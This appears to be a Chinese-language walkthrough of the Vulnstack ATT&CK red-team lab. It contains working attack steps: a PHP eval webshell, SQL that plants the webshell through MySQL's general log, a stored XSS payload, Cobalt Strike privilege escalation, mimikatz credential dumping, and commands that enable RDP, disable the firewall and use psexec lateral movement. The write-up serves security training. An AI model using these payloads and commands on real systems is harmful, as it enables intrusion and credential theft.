ATT&CK红队靶场实战

1 环境搭建

通过红日安全团队官网 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base 底部的链接跳转到百度网盘下载靶场环境,解压后使用vmware导入vmx文件。

alt text

1.1 登录设备

登录设备前会提示需要按CTRL+ALT+DELETE解除锁定状态,可以使用VMWare的Ctrl+Alt+Insert快捷键来解除锁定,以免触发物理机的安全选项菜单:

3台靶机都位于god.org域中且用户密码都为hongrisec@2019, 但由于这些虚拟机都创建于2019年,已经过了密码最长使用期限,因此需要修改密码,这里都改为Admin123!

1.2 网络配置

设备 IP地址
Windows 7 x64(Web服务器) 192.168.52.143(NAT), 192.168.1.10(仅主机)
Windows Server 2008 R2 x64(域控制器DC) 192.168.52.138(NAT)
Win2K3 Metasploitable(域成员) 192.168.52.141(NAT)
Kali(攻击机), 物理机 192.168.1.20(仅主机)

网卡为NAT模式的虚拟机为内网主机,网卡为仅主机模式的虚拟机为外网主机。不建议使用桥接模式,以免影响到真实网络环境。

攻击机除了kali以外,还有物理机,其IP默认就是虚拟机的网关,因此无需配置IP。

按上表配置网络,为Windows7和Kali添加仅主机类型的网卡并配置静态IP,随后在VMWare导航栏中的的”编辑”选项卡中设置”虚拟网络编辑器”,将NAT模式和仅主机模式的网卡的网段分别设置成符合上表需求的:

alt text

嫌网段配置麻烦也可以下载此文件导入”虚拟网络编辑器”中使用:net_config

1.3 运行服务

在Windows 7 x64(Web服务器)中的C:\phpStudy\目录中启动小皮面板,如果启动失败,请将C:\phpStudy\目录拷贝至桌面,随后即可启动面板,启动时会弹出Apache和MySQL的外网访问权限请求,务必勾选Apache的所有选项并允许访问(MySQL可忽略),否则后续实验将无法顺利进行:

alt text

如下图所示编辑vhosts-conf文件,将框选位置的路径由原来的C:\phpStudy\WWW改成C:\Users\Administrator\Desktop\phpStudy\WWW,使站点路径位于小皮面板子目录:

Alt text

2 外网打点

2.1 信息收集

2.1.1 活跃主机扫描

使用nmap扫描同网段的活跃主机:nmap -sn -PR -n 192.168.1.0/24

-sn: 跳过端口扫描,只确认是否在线
-PR: 使用基于ARP协议的主机扫描,内网首选
-n: 不进行反向DNS解析,可提高扫描速度

alt text

从上图可看出扫描出的192.168.1.10主机为活跃状态。

2.1.2 端口扫描

使用nmap扫描192.168.1.10开放的端口:

1
sudo nmap -sS -sC -Pn -n -sV -p 1-65535 192.168.1.10

-sS: 使用TCP SYN半开放扫描(必须使用root权限运行)
-sC: 使用默认的脚本扫描,可扫描出更多信息(比如网页标题)
-Pn: 不进行活跃主机扫描,因为扫描对象已知是活跃主机
-n: 不进行反向DNS解析,提高扫描速度
-sV: 扫描服务版本信息
-p 1-65535: 指定扫描的端口范围为所有TCP端口

alt text

从上图可看出192.168.1.10主机开放了80端口,运行了HTTP服务,站点标题为phpStudy,即使用小皮面板搭建的web站点。
浏览器访问http://192.168.1.10,可以看到phpinfo.php文件被展示了出来,可被收集到大量PHP配置信息:

alt text

2.1.3 站点目录扫描

使用wfuzz来扫描http://192.168.1.10/的站点目录:

1
wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 http://192.168.1.10/FUZZ

-w /usr/share/wordlists/dirb/common.txt: 指定wfuzz使用kali内置的常见目录和文件名字典文件来爆破
--hc 404: hide code 404,即当返回状态码为404(未找到)时,wfuzz不显示该结果
192.168.1.10/FUZZ: FUZZ为占位符,字典文件中的每一行都会替换掉FUZZ,并将替换后的URL发送给服务器,然后分析服务器的http状态码

alt text

从上图看看到wfuzz扫出了phpinfo.php, phpmyadmin, beifen.rar 三个有效内容,其中phpinfo.php前面已经看过了,phpmyadminhttp状态码为301(永久重定向),极有可能是MySQL数据库管理工具的web界面,beifen.rar的状态码为200(请求成功),极有可能是备份文件,可通过下载到本地进行验证。

注意:如果没有扫出beifen.rar,那是因为字典文件中没有该条目,可以用此命令追加该条目到字典文件行末去:echo "beifen.rar" | sudo tee -a /usr/share/wordlists/dirb/common.txt, 之后再执行扫描,即可看到beifen.rar

2.1.4 分析站点

  1. phpMyAdmin

    浏览器尝试访问http://192.168.1.10/phpmyadmin/,成功进入 phpMyAdmin登录界面:

    alt text

  2. beifen.rar

    尝试使用wget命令下载:wget http://192.168.1.10/beifen.rar, 成功下载到本地(或者使用浏览器访问http://192.168.1.10/beifen.rar,下载到本地):

    alt text

    将下载的文件解压到本地,得到yxcms目录:
    alt text

    查看爬虫协议文件cat robot.txt:

    alt text

    从上图可看出,爬虫协议文件中的注释写明此协议作用于YXCMS, 说明此网站属于内容管理系统CMS, 站点路径极有可能为http://192.168.1.10/yxcms/, 浏览器尝试访问此地址:

    alt text

2.2 漏洞利用

2.2.1 信息泄露

上图直接挑明了告诉我们后台地址是网址后面加上/index.php?r=admin, 后台用户名是admin,密码是123456。

浏览器尝试访问http://192.168.1.10/yxcms/index.php?r=admin,输入用户名和密码以及验证码,成功登录后台:

alt text

2.2.2 弱口令

浏览器再次访问phpMyAmin的后台页面: http://192.168.1.10/phpmyadmin/,将用户名和密码都输入为弱口令root,成功登录后台:

alt text

2.2.3 yxcms留言本XSS存储型漏洞

进入yxcms首页的留言本板块,输入伪造的用户信息,留言内容如下填写并点击留言提交:

1
2
Hello administrator!
<script>alert("XSS")</script>

其中Hello administrator!是正常留言, <script>alert("XSS")</script>是JS代码,作用是弹出一个警告框,内容为 “XSS”。

alt text

提交成功会有审核提示:

alt text

此时再来登录yxcms后台,进入留言本管理页面,浏览器会自动执行前面提交的留言内容中的JS代码,从而弹出一个警告框,内容为 “XSS”:

alt text

单击审核按钮,使该留言通过审核从而显示在留言板页面:

alt text

回到首页再次进入留言板板块,发现留言内容被自动执行了,从而弹出一个警告框,内容为 “XSS”:

alt text

多次实验可以发现每进入一次页面就会执行一次弹窗,说明存在存储型XSS漏洞。可根据此漏洞编写相关的JS代码来自动获取管理员和所有访问了留言板页面的用户的cookie信息,并转发到自己的服务器,盗取cookie实现会话劫持。

2.2.4 yxcms后台文件上传漏洞

登录到yxcms的后台,进入”前台模板”,管理模板文件并新建模板文件,名称为hack, 内容为php一句话木马: <?php @eval($_POST['hack']);?>:

alt text

文件创建完成后我们并不知道该文件的具体路径在哪,也就无法连接木马,但是可以分析和上传后的hack.php在同一页面显示的其他文件:

alt text

就以最顶上的acomment.php文件为例,这是站点自带的文件,而我们前面已经获取到了站点的备份文件beifen.rar, 可以通过在备份文件目录中查找acomment.php的位置而得出hack.php的位置,使用find /home/kali/桌面/test/yxcms -name acomment.php命令搜索:

alt text

从上图可看出acomment.php位于/home/kali/桌面/test/yxcms/protected/apps/default/view/default/acomment.php,可推断hack.php也处于相同的目录结构中,尝试在浏览器访问http://192.168.1.10/yxcms/protected/apps/default/view/default/

alt text

上图说明推断正确,hack.phpacomment.php确实位于相同的目录结构中,接下来尝试使用中国蚁剑连接木马http://192.168.1.10/yxcms/protected/apps/default/view/default/hack.php

alt text

alt text

成功连接到木马,可以看到站点部署在绝对路径C:\Users\Administrator\Desktop\phpStudy\WWW\下面。除了可以管理服务器所有文件外,还可以使用CMD命令提示符,并且是拥有管理员权限的CMD,因为可以运行net session命令

alt text

2.2.5 phpMyAdmin日志注入漏洞

浏览器访问http://192.168.1.10/phpmyadmin/登录到phpMyAdmin,尝试执行SELECT [content] INTO OUTFILE [/path/file]语句将一句话木马写入文件到站点根目录中去,:

1
SELECT "<?php @eval($_POST['hack']);?>" INTO OUTFILE "C:\Users\Administrator\Desktop\phpStudy\WWW\hack.php";

Alt text

命令执行后出现了报错,提示MySQL服务器配置了secure-file-priv选项, 限制了该命令的执行,执行以下命令查询该选项的状态:

1
SHOW GLOBAL VARIABLES LIKE "%secure%";

Alt text

从上图可知secure-file-priv选项被设置为了NULL, MySQL服务器会禁止文件导入与导出功能。尝试使用以下命令修改secure-file-priv选项的值为空字符,使其不做目录限制:

1
SET GLOBAL secure_file_priv = '';

Alt text

从上图可知该选项为只读变量,无法修改。
尝试从MySQL命令执行日志下手,执行SHOW GLOBAL VARIABLES LIKE "%general_log%";,查看命令执行日志开关和日志文件路径:

Alt text

查询到命令执行日志选项为关闭状态,日志文件路径位于C:\Users\Administrator\Desktop\phpStudy\MySQL\data\stu1.log目录。
尝试修改为开启状态并将日志文件路径改为站点根目录,注意路径分隔符使用的使正斜杠/,防止被转义:

1
2
SET GLOBAL general_log=on;
SET GLOBAL general_log_file='C:/Users/Administrator/Desktop/phpStudy/WWW/hack.php';

Alt text

命令执行会自动在命令后面加上注释提示返回结果。执行SHOW GLOBAL VARIABLES LIKE "%general_log%";手动验证一下:

Alt text

从上图可知修改成功。后面执行的所有MySQL命令都会被记录在网站根目录下的hack.php文件中(只记录命令,不记录结果),此时再执行以下命令将一句话木马记录到日志文件中:

1
SELECT "<?php @eval($_POST['hack']);?>";

Alt text

执行成功,接下来尝试使用中国蚁剑连接木马http://192.168.1.10/hack.php

Alt text

Alt text

可见连接成功。

3 内网渗透

攻破服务器后开始收集内网信息并以服务器为跳板在内网横向移动攻陷其他主机。

3.1 信息收集

下面的命令都在CS上面执行,不在蚁剑上执行是因为服务器的PHP禁止了部分函数,会导致一部分终端命令无法在蚁剑上执行,表现为输出ret=1,即使安装使用了蚁剑的disable ...插件也无效,这也是为什么上一步的服务器上线CS执行可执行程序而不使用powershell命令的原因。
在CS上面执行CMD命令需要加上shell前缀。

3.1.1 服务器上线CS

使用Cobalt Strike创建运行在888端口名为mkbk的监听器并生成64位的exe后门程序:

alt text

将后门程序通过中国蚁剑上传至站点目录:

alt text

接着在蚁剑终端中运行此木马:

alt text

回到CS窗口,可以看到服务器以Administrator用户的身份上线CS,并且主机名为STU1

alt text

右键单击服务器会话条目,进入beacon控制台,执行sleep 1命令,使beacon隔1秒检查一次消息以及执行命令(真实环境中不要执行此命令,会提升被目标系统检测到的风险):

alt text

3.1.2 服务器提权

右键服务器会话选择权限提升,随后在新窗口中选择监听器为最初创建的mkbk, 提权方式选择默认的svc-exe, 点击运行即可(或者直接在beacon控制台输入elevate svc-exe mkbk命令,也可实现新会话提权至system用户; getsystem命令可在当前会话提权至system用户):

alt text

alt text

执行完成之后可以看到服务器多了个会话条目,用户为system, 提权成功:

alt text

同样的,在新会话条目的beacon控制台中执行sleep 1命令来提高命令执行和响应速度,并且之后的命令也在将此控制台中执行。

3.1.3 获取密码凭证

在beacon控制台中执行logonpasswords命令,随后在”视图”菜单中打开”密码凭证”子菜单,查看服务器的所有用户的账户密码:

alt text

从上图可以看到administrator用户的登录密码为Admin123!, 所属域为god, 密码来源为mimikatz工具。

3.1.4 连接远程桌面

查询远程桌面控制(RDP)3389端口是否启用:shell netstat -ano | findstr 3389

alt text

输出为空行,说明未启用,使用此命令开启RDP:shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

alt text

操作成功,再次执行shell netstat -ano | findstr 3389验证结果:

alt text

启用成功。WIN+R打开运行窗口输入mstsc.exe回车打开RDP客户端程序,使用god/administrator用户连接服务器的远程桌面:

alt text

连接失败,在kali中使用nmap扫描服务器3389端口状态:nmap -Pn -n -p 3389 192.168.1.10

alt text

端口为filtered被过滤状态,说明可能存在防火墙拦截,执行shell netsh advfirewall show allprofiles命令查看防火墙状态:

alt text

从上图可看到防火墙状态为打开且拦截了入站数据,执行shell netsh advfirewall set allprofiles state off命令尝试关闭服务器的防火墙(或者执行此命令单独放行RDP流量netsh advfirewall firewall add rule name="Allow Remote Desktop" action=allow dir=in protocol=TCP localport=3389):

alt text

执行成功,再次验证配置:shell netsh advfirewall show allprofiles

alt text

成功关闭防火墙,再次尝试连接远程桌面:

alt text

alt text

连接成功,同时观察到桌面(左上角)上有nmap应用程序。

3.1.5 内网活跃主机扫描

在CS中执行shell ipconfig:

alt text

从上图可看到服务器除了有和和攻击机同网段的192.168.1.10/24的外网IP以外,还有内网IP192.168.52.143/24

继续在CS中使用服务器自带的nmap扫描内网有哪些活跃主机:shell nmap -sn -PR -n 192.168.52.143/24
注意,此命令必须在Administrator用户的beacon控制台下执行,在System用户下无法执行,因为System用户无法正确读取到环境变量,除非使用命令的完整路径来执行,比如shell "C:\Program Files (x86)\Nmap\nmap.exe" -sn -PR -n 192.168.52.143/24:

alt text

从上图可看出服务器内网除了有192.168.52.1192.168.52.2,以及192.168.52.254这3个VMWare虚拟网关地址外,还有192.168.52.138192.168.52.141两台主机。

3.1.6 域成员身份确定

由于前面已经确定Win7服务器所属域为god, 因此另外两台活跃主机一定有一台是域控制器DC, 使用net view命令(注意不要加shell前缀,否则结果不完整)探测域内主机:

alt text

从上图可看到192.168.52.138的主机名为OWA(全称应该是Outlook Web App),为主域控制器PDC(Primary Domain Controller),
192.168.52.141的主机名为ROOT-TVI862UBEH, 和Win7服务器一样同属于god域的域成员。

命令执行完成后,CS会自动将探测到的设备加入”目标列表”(注意,图中的198.18.*.*本地基准测试IP,在这里无实际意义,不必在意):

alt text

3.1.7 域成员端口扫描

在CS的Administrator用户的beacon控制台中依次执行以下两条命令来分别扫描192.168.52.138192.168.52.141两台主机的端口状态:

1
2
shell nmap -sS -sC -Pn -n -sV -p 1-65535 192.168.52.138
shell nmap -sS -sC -Pn -n -sV -p 1-65535 192.168.52.141

alt text

alt text

从上面两张图片中可以看出这两台主机都开放了SMB协议的445端口,那么接下来可以尝试使用CS内置的psexec工具获取目标的system shell。

3.2 横向移动

创建一个SMB监听器,名字为wxdx,Payload为Beacon SMB

alt text

进入”目标列表”, 右键选择192.168.52.138主机(域控制器),进入”横向移动”的”psexec”配置菜单,在菜单中选择监听器为前面创建好的wxdx,会话选择System用户,将下面的选项打勾,然后点击运行:

alt text

点击运行过后立马就连上了目标主机(域控制器),并且返回的是最高权限用户System

alt text

最后一台域成员主机192.168.52.141也如法炮制,成功以System用户身份上线CS:

alt text

至此,已成功获得3台靶机的最高权限:

alt text

参考链接:

https://www.anquanke.com/post/id/189940
https://www.cnblogs.com/liliyuanshangcao/p/13743389.html#_label2_0
https://tttang.com/archive/1710/#toc_
https://hackerqwq.github.io/2021/09/17/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%8F%90%E6%9D%83%E7%AF%87%E4%B8%89-Windows%E6%8F%90%E6%9D%83/
https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/%E7%AC%AC%E4%B8%89%E8%8A%82%5BSMB%20Beacon%5D.md